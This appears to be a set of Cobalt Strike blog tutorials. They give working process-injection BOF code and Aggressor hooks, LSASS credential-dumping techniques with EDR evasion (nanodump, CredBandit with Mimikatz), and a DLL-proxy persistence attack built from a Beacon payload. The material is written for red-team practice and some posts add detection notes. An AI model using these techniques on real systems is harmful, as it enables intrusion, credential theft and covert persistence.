File: inject_explicit.c

#include <windows.h>
#include "beacon.h"

/* Windows API calls */
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$IsWow64Process (HANDLE hProcess, PBOOL Wow64Process);
DECLSPEC_IMPORT WINBASEAPI HANDLE  WINAPI KERNEL32$GetCurrentProcess (VOID);
DECLSPEC_IMPORT WINBASEAPI HANDLE  WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
DECLSPEC_IMPORT WINBASEAPI DWORD   WINAPI KERNEL32$GetLastError (VOID);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);

/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
   return TRUE;
#elif defined _M_IX86
   return FALSE;
#endif
}

/* is this a 64-bit or 32-bit process? */
BOOL is_wow64(HANDLE process) {
   BOOL bIsWow64 = FALSE;

   if (!KERNEL32$IsWow64Process(process, &bIsWow64)) {
      return FALSE;
   }
   return bIsWow64;
}

/* check if a process is x64 or not */
BOOL is_x64_process(HANDLE process) {
   if (is_x64() || is_wow64(KERNEL32$GetCurrentProcess())) {
      return !is_wow64(process);
   }

   return FALSE;
}

/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
   HANDLE              hProcess;
   datap               parser;
   int                 pid;
   int                 offset;
   char *              dllPtr;
   int                 dllLen;

   /* Extract the arguments */
   BeaconDataParse(&parser, args, alen);
   pid = BeaconDataInt(&parser);
   offset = BeaconDataInt(&parser);
   dllPtr = BeaconDataExtract(&parser, &dllLen);

   /* Open a handle to the process, for injection. */
   hProcess = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
   if (hProcess == INVALID_HANDLE_VALUE || hProcess == 0) {
      BeaconPrintf(CALLBACK_ERROR, "Unable to open process %d : %d", pid, KERNEL32$GetLastError());
      return;
   }

   /* Check that we can inject the content into the process. */
   if (!is_x64_process(hProcess) && x86 == FALSE ) {
      BeaconPrintf(CALLBACK_ERROR, "%d is an x86 process (can't inject x64 content)", pid);
      return;
   }
   if (is_x64_process(hProcess) && x86 == TRUE) {
      BeaconPrintf(CALLBACK_ERROR, "%d is an x64 process (can't inject x86 content)", pid);
      return;
   }

   /* inject into the process */
   BeaconInjectProcess(hProcess, pid, dllPtr, dllLen, offset, NULL, 0);

   /* Clean up */
   KERNEL32$CloseHandle(hProcess);
}

void gox86(char * args, int alen) {
   go(args, alen, TRUE);
}

void gox64(char * args, int alen) {
   go(args, alen, FALSE);
}

Explanation

  • Lines 1-2 are the include files, where beacon.h can be downloaded from https://github.com/Cobalt-Strike/bof_template
  • Lines 4-9 define the prototypes for the Dynamic Function Resolution for a BOF. 
  • Lines 11-18 define a function to determine the compiled architecture type. 
  • Lines 20-37 define functions to determine the architecture of the process to inject into. 
  • Line 40 starts the code for the go function. This function is called via the gox86 or gox64 functions which are defined at line 78-84.  This function style is an easy way to pass the x86 boolean flag into the go function. 
  • Lines 41-46 define the variables that are referenced in the function. 
  • Lines 48-52 will extract the three arguments pid, offset and dll from the args parameter. 
  • Lines 55-59 will open the process for the specified pid. 
  • Lines 61-69 will verify if the content can be injected into the process. 
  • Line 72 implements the explicit injection technique using Beacon’s internal APIs defined in beacon.h.  This is the same built-in technique for injecting into a process. 
  • Lines 75 will close the handle to the process. 

Compile

Next, compile the source code to generate the .o files using the mingw compiler on Linux. 

x86_64-w64-mingw32-gcc -o inject_explicit.x64.o -c inject_explicit.c 

i686-w64-mingw32-gcc -o inject_explicit.x86.o -c inject_explicit.c 

Create Aggressor Script

Next, create the Aggressor Script PROCESS_INJECT_EXPLICIT hook function. 

File: inject_explicit.cna

# Hook to allow the user to define how the explicit injection technique
# is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_explicit. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_explicit. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "iib", $3, $4, $2);

   btask($1, "Process Inject using explicit injection into pid $3");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $5";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

Explanation

  • Lines 1-7 contains the header information about the function and arguments. 
  • Lines 8 starts the function definition for the PROCESS_INJECT_EXPLICIT function. 
  • Line 9 defines the variables used in the function. 
  • Line 12 sets the architecture for the Beacon’s session. 
  • Lines 15-18 reads the inject_explicit.<arch>.o BOF which matches the Beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the Beacon’s architecture. 
  • Line 21 packs the arguments that the BOF is expecting.  In this example we are passing $3 (pid) as an integer, $4 (offset) as an integer, and $2 (dll) as binary data. 
  • Lines 23 reports the task to Beacon. 
  • Line 26 sets up which function name to call in the BOF which is either gox86 or gox64 which is based on the dll’s architecture.  Note the Beacon’s architecture and dll’s architecture do not have to match. 
  • Line 27 uses the beacon_inline_execute function to execute the BOF. 
  • Line 30 returns 1 to indicate the PROCESS_INJECT_EXPLICIT function was implemented. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the inject_explicit.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the screenshot Command

After loading the script, a command like screenshot will use the new hook.

screenshot command using the PROCESS_INJECT_EXPLICIT hook
Output in the script console when reading the BOF

PROCESS_INJECT_EXPLICIT

Example from the Community Kit

Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_EXPLICIT hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs.  For the explicit injection implementation we will select a different technique from this repository. Use the example under the StaticSyscallsInject folder. 

Steps: 

  1. Clone or download the source for the BOF project. 
  2. Change directory into the StaticSyscallsInject directory 
  3. Review the code within the directory to understand what is being done. 
  4. Compile the object file with the following command. (Optionally use make) 
x86_64-w64-mingw32-gcc -o syscallsinject.x64.o -c entry.c -masm=intel 

When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided

Items to note in the entry.c file that are different than the simple example. 

  1. For this BOF notice that the entry point is ‘go’, which is different than ‘gox86’ or ‘gox64’. 
  2. The arguments that this BOF expects are the pid and dll.  The offset is not used. 
  3. Calls a function named InjectShellcode, which implements their injection technique instead. 
  4. Opens the Process 
  5. Allocates Memory and Copies it to the Process 
  6. Create the thread and wait for completion 
  7. Cleanup 

Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_EXPLICIT function from the simple example to work with this project.  Here is the modified PROCESS_INJECT_EXPLICIT function which can be put into a new file or add it to the existing static_syscalls_inject.cna file. 

File: static_syscalls_inject.cna

# Hook to allow the user to define how the explicit injection technique 
# is implemented when executing post exploitation commands. 
# $1 = Beacon ID 
# $2 = memory injectable dll for the post exploitation command 
# $3 = the PID to inject into 
# $4 = offset to jump to 
# $5 = x86/x64 - memory injectable DLL arch 
set PROCESS_INJECT_EXPLICIT { 
local('$barch $handle $data $args'); 

# Set the architecture for the beacon's session 
$barch = barch($1); 

if ($barch eq "x86") { 
    warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support x86. Use built in default"); 
    return $null; 
} 

if ($4 > 0) { 
    warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support offset argument. Use built in default"); 
    return $null; 
} 

# read in the injection BOF based on barch 
warn("read the BOF: syscallsinject. $+ $barch $+ .o"); 
$handle = openf(script_resource("syscallsinject. $+ $barch $+ .o")); 
$data = readb($handle, -1); 
closef($handle); 

# pack our arguments needed for the BOF 
$args = bof_pack($1, "ib", $3, $2); 

btask($1, "Static Syscalls Shellcode Injection BOF (@ajpc500) into pid $3"); 

beacon_inline_execute($1, $data, "go", $args); 

# Let the caller know the hook was implemented. 
return 1; 
} 

Explanation

  • Lines 1-7 contains the header information about the function and arguments. 
  • Lines 8 starts the function definition for the PROCESS_INJECT_EXPLICIT function. 
  • Line 9 defines the variables used in the function. 
  • Line 12 sets the architecture for the Beacon’s session. 
  • Line 14-17 is added in this example because this project is only supporting x64 architecture injection.  When an x86 architecture is detected then return $null to use the built-in technique. 
  • Line 19-22 is added in this example because this project is not supporting the offset to jump to argument.  When this is detected then return $null to use the built-in technique. 
  • Lines 25-28 reads the syscallsinject.<arch>.o BOF which matches the Beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the Beacon’s architecture. 
  • Line 31 packs the arguments that the BOF is expecting.  In this example we are passing $3 (pid) as an integer, and $2 (dll) as binary data. 
  • Lines 33 reports the task to Beacon. 
  • Line 35 uses the beacon_inline_execute function to execute the BOF. 
  • Line 38 returns 1 to indicate the PROCESS_INJECT_EXPLICIT function was implemented. 

Next, load the Aggressor Script file into the Cobalt Strike client through the Colbalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the keylogger Command

After loading the script, a command like keylogger will use the new hook.

keylogger command using the PROCESS_INJECT_EXPLICIT hook
Output in the script console when reading the BOF

References

Nanodump: A Red Team Approach to Minidumps

Motivation

It is known that dumping Windows credentials is a technique often utilized for everyday attacks by adversaries and, consequently, Red Teamers. This process has been out there for several years and is well documented by MITRE under the T1003.001 technique. Sometimes, when conducting a Red Team engagement, there may be some limitations when trying to go beyond the early detection of this technique to allow defenders to train complex manipulation and usage of the credentials.  

One of the options to overcome this limitation is to explicitly allow the execution of this technique. However, there is another way, which is both stealthier and more lightweight. The following article will dive into how it can be executed. 

Introduction 

ReactOS, is an interesting and valuable project for anyone interested in understanding the low-level code of a Windows-like OS. We found that starting with the less-resistant path and trying to compile minidump.c from ReactOS to be quite difficult. However, after carefully analyzing the minidump module from skelsec, we found information about the minidump file format. 

The minidump format is quite complex and has many structures, pointers, and sections. In order to keep things as simple as possible, we experimented with the minidump python module to remove and change several parts in order to understand if these were relevant. 

Streams 

A minidump is composed of multiple “streams” which are like sections that contain specific information. For example, ExceptionStream presumably contains information like the stack trace in case the minidump was created due to a crash. 

After testing with pypykatz we found that the only relevant streams were SystemInfoStream, ModuleListStream, and Memory64ListStream. This first finding simplified the process because limiting the number of streams reduced the processing that needed to be done. 

SystemInfoStream 

This stream has information about the Windows machine, and it is not related to LSASS itself. It has relevant information such as the Windows version and build number, but also less relevant fields such as the number of processors. 

We ended up setting all the fields that were not needed to NULL. This made the process of creating the minidump a lot simpler, as we were able to ignore irrelevant fields. 

ModuleListStream 

All of the DLLs LSASS loaded are listed in this stream. It is worth noting that, while this stream is important, for this exercise, it wasn’t necessary to include every single DLL.  

In fact, we were able to ignore most of them and kept only those that are relevant to mimikatz, such as kerberos.dll and wdigest.dll. This decision effectively made the size of the dump a lot smaller. 

Memory64ListStream 

The actual memory pages of the LSASS process can be found in this stream. However, it takes up a lot of space, so reducing its size was critical to reduce the overall dump size. We decided to ignore any page that met any of the following conditions: 

  • Page wasn’t committed 
  • Page marked as mapped 
  • Page protection equals PAGE_NOACCESS 
  • Page marked as PAGE_GUARD 

Ignoring all these pages did not break the analysis of mimikatz, but did effectively reduce the size of the dump. 

Final Size 

By taking out all the non-vital information from the dump we managed to reduce the dump from roughly 50MB down to 10MB. 

Obfuscation 

As explained earlier, another goal was to achieve some level of obfuscation. Given that the creation of the minidump is done programmatically, we had full control of the dump and thus could implement any obfuscation that we chose. 

We opted to corrupt the “magic bytes” (or signature) of the minidump file format, which is a simple, yet effective approach.  

Minidumps start with the string “PMDM” in big endian. Changing these magic bytes would make it more difficult to figure out if a block of memory is a minidump, and since this is at the very start of the file, the binary blob wouldn’t look like a minidump, not even at creation time. 

This modification did break mimikatz and pypykatz. We created a small bash post-dump script to restore the original format once the dump is on the tester’s machine. 

PID of LSASS 

To dump LSASS, you typically need to know the PID of the LSASS process. The action of listing all the running processes could be seen as an abnormal or suspicious activity. Running tasklist or even calling CreateToolhelp32Snapshot might be detected by advance security solutions. 

We decided to use the NtGetNextProcess syscall to loop over all the processes in the system until we found a process that had ‘lsass.exe’ loaded. This was a valid method to find the LSASS process and avoided having to go through the usual steps. 

Avoiding API calls 

Reducing the number of API calls was important for obvious reasons: userland hooks. The only Windows API call that nanodump calls is LookupPrivilegeValueW, which is used to enable SeDebugPrivilege. This privilege should already be enabled in most cases, but feel free to remove this call if you want to be even stealthier. Besides that, everything is done using syscalls to avoid userland hooks. 

Syscalls Support 

To use syscalls, we used SysWhispers2 so, there was no need to re-compile nanodump for every new version of Windows. We had to make a few changes to the code to avoid using global variables given that Beacon Object Files (BOF) do not support them. We also used InlineWhispers to build nanodump on Linux using Mingw. 

Fileless download 

We also wanted to have the possibility of downloading the dump using Beacon’s C2 channel without touching the disk. However, it can be written to a file if need be. 

No Beacon? No Problem 

As explained earlier, we initially started this project as part of our Red Team practice, allowing us to conduct complex threat actions. Sometimes we don’t need to go as far as deploying Beacon on each compromised machine, so we added the possibility to use the .EXE version of nanodump. The one limitation that exists for the EXE version is that you cannot use the fileless download feature, given that it relies on Cobalt Strike’s C2 channel for it. 

Conclusion 

While it was challenging creating a SYSCALL based minidump, it was also critical for many scenarios. Additionally, creating a malleable module capable of feeding the great mimikatz is a powerful and flexible approach. The idea of modularizing a software solution has been out there for many years and this context is even more important to improve the success and future updates facing strong and dynamic detection tools. 
 

Do it Yourself 

If you’re interested in using nanodump, we’ve posted the code to our Github.  

Credits 

Thanks to: 

  • Skelsec for his amazing work with minidump and pypykatz. 
  • freefirex from CS-Situational-Awareness-BOF at Trustedsec for many cool tricks for BOFs  
  • jthuraisamy for SysWhispers2 

Create a proxy DLL with artifact kit

DLL attacks (hijacking, proxying, etc) are a challenge defenders must face. They can be leveraged in a Red Team engagement to help measure these defenses. Have you used this technique? In this post, I’ll walk through an example of adding a DLL proxy to beacon.dll for use in a DLL Proxy attack.

What is a DLL Proxying?

To begin with, this is not a new technique. I’ve seen it used some, but not always understood in practice. Other DLL hijacking attacks tend to be used more often, but Red Teams can benefit by adding this technique to their toolbox.

DLL proxying is an attack that falls in the DLL hijacking category.

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program.

MITRE ATT&CK defines this as Hijack Execution Flow: DLL Search Order Hijacking.

A common way this is abused is to find a process that loads a “ghost” DLL. This is a DLL that is called by the process, but doesn’t actually exist. The calling process ignores this and continues. An attacker can add their own DLL in place of this ghost DLL. This works great, but can be rare.

What if you could modify an existing DLL without breaking the application that depends on that functionality?

This is DLL proxying. It allows an attacker to hijack the execution flow of a process but keep the original functionality of the application. Let’s walk through the attack flow.

DLL Proxy Attack Flow Diagram

Let’s say some process uses math.dll to perform calculations. Someprocess.exe loads math.dll and makes calls to its exported functions as needed. This is why we use external libraries.

If we want to hijack this process, we could easily replace math.dll with something malicious, but this would break the application. We don’t want that. This may draw attention to what we are doing. We need to copy math.dll to original.dll. Replace math.dll with a version that will forward the the legitimate calls to the new original.dll. And finally, use math.dll to load whatever malicious function we want.

In order to do this we need…

  1. The ability to create and write files
  2. The ability to find a target DLL that is loaded by an application
  3. The ability to extract the exports from a target DLL
  4. The ability to create a DLL that will ‘proxy’ the original exports to a copy of the original DLL

The post is using one technique for DLL proxying to specifically show how to use artifact kit to create this proxy DLL. There are several projects that explore this concept. A quick search can yield a wealth of resources on the topic. One of particular interest is the DueDLLigence project. It is an interesting approach that uses a framework to easily allow the development malicious DLLs.

Let’s Start with a Simple DLL Proxy Example

Let’s walk through a simple example to help clear this up.

This example uses code that can be found here.

In this example we assume that the hello.dll is the DLL being call by our target process. It will become the target of our proxy attack. This is similar to math.dll in the diagram.

Steps to find, build, and use a proxy DLL

1) Understand the execution flow of a process to understand which DLLs are loaded.

We need to start by understanding which DLLs are loaded by a process. The sysinternals tool process explorer works great here.

Real World Tip

I won’t call out any vendor here. My examples simply use rundll32.exe as my ‘application’. Just consider rundll32.exe some real target (maybe a chat application) that uses hello.dll.

The AppData directory is a great place to find candidates for user level persistence. Unlike C:\Program Files, c:\users\USER\AppData is user controlled. Many applications are installed here. cough, cough, chat clients.

A quick tip on using process explorer is to filter out what you need before running. In this case, I only want to see Load Image from my target process.

Procmon Filter

To simulate an application starting up and making calls to its DLLs, I use:

rundll32.exe hello.dll, hello

to have rundll32 call the hello function.

rundll32 loads hello.dll and calls the hello function

In the process explorer output, we see that our application loads hello.dll

Procmon

Great, we found a candidate DLL in our target application.

Another option to search for targets is to use the DLL_Imports_BOF. This project allows you to search for target applications during an engagement.

This is a BOF to enumerate DLL files to-be-loaded by a given PE file. Depending on the number of arguments, this will allow an operator to either view a listing of anticipated imported DLL files, or to view the imported functions for an anticipated DLL.

No matter what you use, the goal is to understand what DLLs are in play and what exports those DLLs use.

2) Identify the DLL exports.

DLL exports are the functions that an external process can call to use that functionality. It is a core feature of a DLL.

Look at the exports of hello.dll:

If you are following along, compile hello.dll:

x86_64-w64-mingw32-gcc -m64 -c -Os hello.c -Wall -shared -masm=intel
x86_64-w64-mingw32-dllwrap -m64 --def hello.def hello.o -o hello.dll

There are several ways to get the exported function from a DLL.

I included a simple python script, get_exports.py, to extract the exports and format for use in a .def file.

python3 get_exports.py --target hello.dll
get_exports.py output

You can also use something like dumpbin from Visual Studio

dumpbin /exports hello.dll
dumpbin output

The point of this is to get a list of the legitimate exported functions from the target DLL. This will give us what we need to build our proxy.

3) Build the proxy.dll.

In this example, I’m writing a proxy in .C to be compiled with MinGW. This shows the process, but could be very different depending on how you build your DLL. No matter what you do, you will be generating a DLL that forward functions.

Add the exported functions to proxy.def:

proxy.def updated with the hello.dll functions

A module-definition or DEF file (*.def) is a text file containing one or more module statements that describe various attributes of a DLL. If you are not using the __declspec(dllexport) keyword to export the DLL’s functions, the DLL requires a DEF file.

https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files?view=msvc-160

Let’s break down the export hello=original.hello @1:

This is creating the “hello” export for proxy.dll. Calls made to this function are forwarded to the hello function in original.dll. The @1 is the ordinal. (Ordinals are another way a function may be called. It does not always need to match, but can help if ordinals are used.)

proxy.c

proxy.c is a very basic DLL. It will run the payload function and if a remote target calls a remote function, it will proxy based on the exports set in proxy.def. The payload function is blocking. This is just a simple example. You should create a thread or use some other non-blocking method.

We are ready to compile proxy.dll

x86_64-w64-mingw32-gcc -m64 -c -Os  proxy.c -Wall -shared -masm=intel
x86_64-w64-mingw32-dllwrap -m64 --def proxy.def proxy.o -o proxy.dll

4) Move the files to the target.

To simulate a real attack you must:

  • rename the original dll (hello.dll) to original.dll or what you set in the proxy.def file.
  • rename proxy.dll to the original file name (hello.dll)

Output after moving and naming the files on the target system.

Directory of Y:\temp\proxydll

10/28/2021  01:53 PM    <DIR>          .
10/28/2021  01:37 PM    <DIR>          ..
10/28/2021  01:37 PM           280,185 hello.dll    <- This was proxy.dll
10/28/2021  01:23 PM           280,167 original.dll <- This was hello.dll

5) Test the proxy.

Let’s simulate some process following its normal process of loading hello.dll and calling the hello function by using rundll32.exe.

The following command acts more or less the same as an application starting, loading a DLL, and calling a function from that DLL.

rundll32 hello.dll, hello
The payload function from the proxy DLL
The hello function from the original DLL

We called the proxy DLL (hello.dll) using rundll32 as an example target for a DLL loading attack. It executed our payload function and the original function.

That’s it. There really isn’t much to this attack, but it can be very effective. A proxy DLL is just a DLL that proxies legitimate calls and runs your own payload. Proxy attacks allow an attacker to hijack execution flow but keep the original functionality of the application.

Let’s extend this to the Cobalt Strike Artifact Kit

Licensed users of Cobalt Strike have access to the artifact kit. This kit provide a way to modify several aspects of the .exe or .dll beacon payloads. Think of this as a beacon ‘loader’. The kit can be loaded by Cobalt Strike as an aggressor script to update how .exe or .dll payloads are built.

Now that we know the primitives from our example, we can easily update kit with the changes needed to convert beacon.dll into a proxy.


Modify the file src-main/dllmain.def by adding hello=original.hello @1 as an export option. This is the same as what was done in the example.


Build the kit using the build.sh script. By default, this will compile all kit techniques. Let it build them all. We will pick one to load.


Load the artifact kit aggressor script to tell Cobalt Strike to use the newly create template when building a payload. In this case we will use the ‘pipe’ technique. The aggressor script can be found in dist-pipe/artifact.cna after the build is complete.

Cobalt Strike -> Script Manager
Load -> dist-pipe/artifact.cna

Generate a Beacon DLL payload

Attacks -> Packages -> Windows Executable (S)

Listener: Choose Your listener
Output:   Windows DLL
x64:      X

Click Generate and save as hello.dll.

Remember, this is the proxy DLL. It will replace the target DLL and the the target DLL will be renamed to original.dll.

Modified version of artifact.cna to output messages to the script console when the artifact kit is used

Let’s take a look at this beacon DLL payload (hello.dll):

dumpbin /exports hello.dll
exports of hello.dll (proxy)

We see the DLL has the default exports for beacon.dll and the new forwarding export.


Let’s test as we did before by using rundll32 as the target process that we want to attack.

rundll32 hello.dll, hello
Received a new beacon

hello.dll runs the beacon payload, and the hello function call was successfully proxied.

At this point, we turned beacon.dll in a proxy.

What Next?

This example only shows how to make beacon a DLL proxy. The artifact kit is a way to customize beacon.exe or beacon.dll. It can be used to help bypass AV/EDR. Consider exploring the possibilities of using the kit. Or, forget the artifact kit altogether and write your own beacon loader as a proxy DLL.

Using rundll32 isn’t exciting, but the attack technique itself is a great method for persistence. Many applications are installed in

c:\users\USER\AppData

This directory is writable by the user (vs something like c:\program files). This means an attacker with control over a target can find a target process and create a proxy DLL for that target. Take a look at the application installed in AppData, you may find a nice target.

Defensive Considerations

A great preventative control for this attack is for applications to validate the DLLs it loads. If a rouge/untrusted DLL is used, the application will not allow it to execute. During the writing of this post, I tested by targeting a popular chat application. It used digital signatures to validate the loaded DLLs. This worked great, except the user was presented with a popup asking if they would like to run the “untrusted” code. Clicking OK allowed my payload to run (partial win?). Prevention is great, be we need to ensure we can detect attacks when it fails.

Do not allow user controlled applications to be installed in user controlled directories. Install applications in directories the user can use but not modify (i.e., C:\Program Files).

File integrity monitoring may help.

Fortunately, the payloads executed from this attack the same. The proxy DLL is just a loader. The payloads executed by this loader may be detected through the normal means of a robust security operations program.

References

How to Extend Your Reach with Cobalt Strike 

We’re often asked, “what does Cobalt Strike do?” In simple terms, Cobalt Strike is a post-exploitation framework for adversary simulations and Red Teaming to help measure your security operations program and incident response capabilities. Cobalt Strike provides a post-exploitation agent, Beacon, and covert channels to emulate a quiet long-term embedded actor in a network.  

If we as security testers and red teamers continue to test in the same ways during each engagement, our audience (i.e., the defensive side) will not get much value out of the exercises. It’s important to be nimble. Cobalt Strike provides substantial flexibility for users to change their behavior and adapt just as an adversary does. For example, Malleable C2 is a Command and Control language that lets you modify memory and network indicators to control how Beacon looks and feels on a network.  

Cobalt Strike was designed to be multiplayer. One of its foundational features is its ability to support for multiple users to access multiple servers and share sessions. Enabling participation from users with different styles and skillsets further varies behavior to enrich engagements.   

While there are also numerous built-in capabilities, one of which we’ll discuss below, they are limited to what the team adds to the tool. One of our favorite features of Cobalt Strike is its user developed modules, through which many of the built-in limits are overcome. In fact, users are encouraged to extend its capabilities with complementary tools and scripts to tailor the engagements to best meet the organization’s needs. We wanted to highlight a few ways we’ve recently seen Cobalt Strike users doing just that to conduct effective assessments.   

Interoperability with Core Impact 

Contrary to many perceptions, Cobalt Strike is actually not a penetration testing tool. As we mentioned earlier, we identify as a tool for post-exploitation adversary simulations and Red Team operations. However, we have recently begun offering interoperability with Core Impact, which is a penetration testing tool with features that align well with those of Cobalt Strike.  

Core Impact is typically used for exploitation and lateral movement and validating the attack paths often associated with a penetration test. Used by both in-house teams as well as third-party services, Core Impact offers capabilities for remote, local, and client-side exploitation. Impact also uses post-exploitation agents, which, while they don’t have a cool name like “Beacon,” are versatile in both their deployment and capabilities, including chaining and pivoting.   

While a previous blog dives deeper into the particulars, to quickly summarize, the interoperability piece comes in the form of session passing between both platforms. Those with both tools can deploy Beacon from within Core Impact. Additionally, users can spawn an Impact agent from within Cobalt Strike. If you have Cobalt Strike and would like to learn more, we recommend requesting a trial of Core Impact to try it out. 

Integration with Outflank’s RedELK Tool 

RedELK is an open-source tool that has been described by its creators as a “Red Team’s SIEM.” This highly usable tool tracks and sends Red Teams alerts about the activities of a Blue Team by creating a centralized hub for all traffic logs from redirectors to be sent and enriched.  Gaining visibility into the Blue Team’s movements enables Red Teams to make judicious choices about their next steps. These insights help Red Teams create a better learning experience and ensure Blue Teams get the most out of their engagements. 

Additionally, it also centralizes and enriches all operational logs from teamservers in order to provide a searchable history of the operation, which could be particularly helpful for longer and larger engagements. This all sounds like an ideal integration for Cobalt Strike users, right? While the sub-header is a fairly large spoiler, it is nonetheless very exciting that RedELK does fully support the Cobalt Strike framework.  

Community Kit Extensions  

We can’t say enough good things about the user community. So many of you have written first-rate tools and scripts that have further escalated the power of Cobalt Strike—we feel like an artist’s muse and the art the community creates is amazing. However, many of these extensions are tricky to find, so not everyone has had the opportunity to take advantage and learn from them. In order to highlight all of this hard work, we’ve created the Community Kit. This central repository showcases projects from the user community to ensure that they’re more easily discovered by fellow  security professionals. 

We encourage you to check it out to see the fantastic work of your peers which can help take raise the level of your next security engagement and may even inspire you to create and submit your own. Check back regularly as new submissions are coming in frequently.  

A Dynamic Framework  

Cobalt Strike was intentionally built as an adaptable framework so that users could continually change their behavior in an engagement. However, this flexibility has also enabled both expected and unexpected growth of the tool itself. Planned additions like the interoperability with Core Impact allows users to benefit from session passing, while unanticipated extensions like those in the community kit are equally welcome, as they enable users to truly make the tool their own. Ultimately, we’re excited to see such dedication to this tool from all angles, as it motivates us all to keep advancing Cobalt Strike to the next level so users can keep increasing the value of every engagement.   

Want to learn more about Core Impact? 

Get information on other ways Core Impact and Cobalt Strike complement one another for comprehensive infrastructure protection. 

CredBandit (In memory BOF MiniDump) – Tool review – Part 1

One of the things I find fascinating about being on the Cobalt Strike team is the community. It is amazing to see how people overcome unique challenges and push the tool in directions never considered. I want explore this with CredBandit (https://github.com/xforcered/CredBandit). This tool has had updates since I started exploring. I’m specifically, looking at this version for this blog post.

In part 2, I ‘ll explore the latest version and how it uses an “undocumented” feature to solve the challenges discussed in this post.

Per the author:

CredBandit is a proof of concept Beacon Object File (BOF) that uses static x64 syscalls to perform a complete in memory dump of a process and send that back through your already existing Beacon communication channel. The memory dump is done by using NTFS transactions, which allows us to write the dump to memory. Additionally, the MiniDumpWriteDump API has been replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump.
When you dig into this tool,  you will see that CredBandit is “just another minidump tool.” This is true, but there are some interesting approaches to this.
My interest in CredBandit is less from the minidump implementation but the “duct tape engineering” used to bend Beacon to anthemtotheego‘s will.

CredBandit uses an unconventional way of transferring in memory data through Beacon by overloading the BEACON_OUTPUT aggressor function to handle data sent from BeaconPrintf() function.

There are other interesting aspects to this project, namely:

    • Beacon Object File (BOF) using direct syscalls
    • In memory storage of data (The dump does not need to be written to disk)
    • ReactOS implementation of MiniDumpWriteDump
You can read more about the minidump technique here (T1003-001) or here (Dump credentials from lsass without mimikatz).

Note on the Defense Perspective

Although the focus on this post is to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in security operations. It can be helpful to highlight both the offense capabilities and defense opportunities of a technique. I’ve invited Jonny Johnson (https://twitter.com/jsecurity101) to add context to the detection story of this technique, seen below in the Detection Opportunities section.

Quick Start

Warning: BOFs run in Beacon’s memory. If they crash, Beacon crashes. The stability of this BOF may not be 100% reliable. Beacons may die. It’s something to consider if you choose to use this or any other BOF.

CredBandit is easy to use, but don’t that fool you into thinking it isn’t a clever approach to creating a minidump. All the hard work has been done, and you only need a few commands to use it.

The basic process is as follows:

  1. Clone the project: https://github.com/xforcered/CredBandit
  2. Compile CredBandit to a BOF
  3. Load the aggressor script in Cobalt Strike
  4. Launch a beacon running in context with the necessary permissions (i.e., high integrity process running as administrator)
  5. Locate the PID of LSASS
  6. Run CredBandit
  7. Wait …. 🙂
  8. Convert the CredBandit output into a usable dump
  9. Use Mimikatz to extract information from the dump

Consult the readme for details.

Let’s See This in Action

Load the aggressor script from the Cobalt Strike manager

Get the PID of LSASS

Interact with a beacon running with the permissions needed to dump LSASS memory and get the PID of LSASS.

An output of PS gives us a PID of 656.

Run CredBandit to capture the minidump of LSASS

Loading the MiniDumpWriteDump.cna aggressor script added the command credBandit to Beacon.

Running help shows we only need the PID of LSASS to use the command credBandit.

This will take time. Beacon may appear to be unresponsive, but it is processing the minidump and sending back chunks of data by hijacking the BeaconPrintf function. In this example, over 80mb in data must be transferred.

Once the Dump is complete, Beacon should return to normal. A word of caution: I had a few Beacons die after the process completed. The data was successfully transferred, but the Beacon process died. This could be due to the BOF being functional but missing error handling, but I did not investigate.

NOTE: The CredBandit aggressor script, MiniDumpWriteDump.cna, changed the behavior of BEACON_OUTPUT. This can cause other functions to fail. You should unload the script and restart the Cobalt Strike client or use RevertMiniDumpWriteDump.cna to reverse the changes.

Convert the extracted data to a usable format

The file dumpFile.txt is created in the cobaltstrike directory. This file is the result generated by  “highjacking” the BEACON_OUTPUT function to write the received chunks of data from the BeaconPrintf function.

Run the cleanupMiniDump.sh command to convert this file back into something useful:

./cleanupMiniDump.sh

You will now have two new files in the cobaltstrike directory: .dmp and .txt.

